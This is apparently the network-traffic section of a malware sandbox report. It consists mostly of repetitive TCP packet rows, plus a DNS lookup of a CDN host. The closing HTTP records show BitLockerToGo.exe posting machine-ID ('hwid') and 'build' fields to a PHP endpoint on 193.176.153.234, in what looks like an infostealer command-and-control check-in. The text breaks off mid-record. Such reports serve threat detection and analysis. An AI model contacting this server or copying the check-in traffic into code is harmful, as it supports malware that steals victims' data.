Aug 10, 2024 19:10:11.719743967 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720345974 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720376968 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720417976 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720433950 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720457077 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720474958 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720475912 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720498085 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720529079 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720532894 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720546961 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720556974 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720585108 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720604897 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720624924 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720655918 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720690012 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720699072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720726967 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720747948 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720765114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720791101 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720825911 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720837116 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.720863104 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.720880032 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.721111059 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.721138000 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.721177101 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.721187115 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.721215010 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.721235037 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.721252918 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.721285105 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.721321106 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.721330881 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.721359015 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.721375942 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.721398115 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.721424103 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.721457005 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.721467972 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.721493959 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.721513987 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.751471043 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.751527071 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.751650095 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.751703978 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.751805067 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.751806021 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.751806021 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.751872063 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.778511047 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.778569937 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.778665066 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.778666019 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.778732061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.778769970 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.778831959 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.778856993 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.778887033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.778920889 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.779007912 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779048920 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779078960 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.779092073 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779120922 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.779305935 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779356956 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779381990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.779393911 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779437065 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.779519081 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779561043 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779599905 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.779613018 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779643059 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.779757023 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779805899 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779825926 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.779836893 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.779870987 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.832503080 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.845931053 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.846000910 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.846151114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.846210957 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.846205950 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.846205950 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.846277952 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.846327066 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.846327066 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.871529102 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.871611118 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.871776104 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.871776104 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.871776104 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.871824026 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.871855974 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.871861935 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.871917963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.871917963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872059107 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872101068 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872148991 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872180939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872216940 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872243881 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872271061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872314930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872383118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872400999 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872426033 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872448921 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872452974 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872503996 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872526884 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872553110 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872555971 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872575045 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872610092 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872642994 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872878075 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872920990 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872952938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.872962952 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.872991085 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.873011112 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.938236952 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.938301086 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.938450098 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.938465118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.938499928 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.938520908 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.938529968 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.938566923 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.966921091 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.966976881 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967170954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967189074 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.967189074 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.967222929 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967257023 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967258930 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.967351913 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.967494965 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967540026 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967694044 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967742920 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967753887 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.967753887 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.967818022 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967868090 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.967868090 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.967890024 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967926979 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.967962980 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.967978954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.968012094 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.968034029 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.968096972 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.968120098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.968132019 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.968168974 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.019870043 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.032604933 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.032664061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.032793999 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.032846928 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.032865047 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.032865047 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.032865047 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.032931089 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.032982111 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.056556940 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.056615114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.056687117 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.056757927 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.056797981 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.057226896 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.057276011 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.057295084 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.057308912 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.057354927 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.059461117 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.059504032 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.059541941 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.059560061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.059585094 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.059585094 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.059674025 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.059724092 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.059756994 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.059768915 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.059803963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.060200930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.060244083 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.060272932 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.060285091 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.060353994 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.060518026 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.060563087 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.060592890 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.060609102 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.060633898 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.060633898 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.113612890 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.124748945 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.124814034 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.124886990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.124954939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.124988079 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.124990940 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.125025988 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.125037909 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.125082016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.125091076 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.125118971 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.125129938 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.125161886 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.125206947 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.150016069 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.150075912 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.150312901 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.150312901 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.150377989 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.150470018 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.150532961 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.150779963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.150840998 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.150957108 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152014017 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.152081966 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.152177095 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152178049 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152242899 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.152303934 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152304888 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.152334929 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.152369022 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152385950 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.152414083 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152426958 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.152461052 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152502060 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152528048 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.152578115 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.152610064 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152621984 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.152650118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152676105 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.152967930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.153019905 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.153047085 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.153058052 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.153086901 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.153110027 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.217231035 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.217295885 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.217438936 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.217442036 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.217442989 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.217504978 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.217547894 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.217565060 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.217565060 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.217586040 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.217614889 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.217658043 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.244774103 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.244834900 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.244910002 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.244976044 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.245011091 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.245016098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.245033979 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.245054007 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.245089054 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.245095968 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.245229006 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.245254040 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.245266914 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.245321035 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.245384932 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.245395899 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:12.245465040 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:12.268965006 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:28.813544989 CEST	49743	80	192.168.2.4	193.176.153.234
Aug 10, 2024 19:10:28.818767071 CEST	80	49743	193.176.153.234	192.168.2.4
Aug 10, 2024 19:10:28.818948030 CEST	49743	80	192.168.2.4	193.176.153.234
Aug 10, 2024 19:10:28.820652008 CEST	49743	80	192.168.2.4	193.176.153.234
Aug 10, 2024 19:10:28.825565100 CEST	80	49743	193.176.153.234	192.168.2.4
Aug 10, 2024 19:10:29.483603001 CEST	80	49743	193.176.153.234	192.168.2.4
Aug 10, 2024 19:10:29.483755112 CEST	49743	80	192.168.2.4	193.176.153.234
Aug 10, 2024 19:10:29.525382042 CEST	49743	80	192.168.2.4	193.176.153.234
Aug 10, 2024 19:10:29.530407906 CEST	80	49743	193.176.153.234	192.168.2.4
Aug 10, 2024 19:10:37.251897097 CEST	80	49743	193.176.153.234	192.168.2.4
Aug 10, 2024 19:10:37.251996994 CEST	49743	80	192.168.2.4	193.176.153.234
Aug 10, 2024 19:10:38.927896976 CEST	49743	80	192.168.2.4	193.176.153.234

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 10, 2024 19:10:01.495141983 CEST	53846	53	192.168.2.4	1.1.1.1
Aug 10, 2024 19:10:01.507226944 CEST	53	53846	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 10, 2024 19:10:01.495141983 CEST	192.168.2.4	1.1.1.1	0xf82f	Standard query (0)	bidvertiser.b-cdn.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 10, 2024 19:10:01.507226944 CEST	1.1.1.1	192.168.2.4	0xf82f	No error (0)	bidvertiser.b-cdn.net		185.93.1.250	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bidvertiser.b-cdn.net

193.176.153.234

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	193.176.153.234	80	7916	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 10, 2024 19:10:28.820652008 CEST	90	OUT	GET / HTTP/1.1 Host: 193.176.153.234 Connection: Keep-Alive Cache-Control: no-cache
Aug 10, 2024 19:10:29.483603001 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 10 Aug 2024 17:10:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Aug 10, 2024 19:10:29.525382042 CEST	412	OUT	POST /587ec30955d49a9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGID Host: 193.176.153.234 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 45 44 33 43 31 39 30 41 43 32 32 33 31 32 30 32 37 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 72 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; 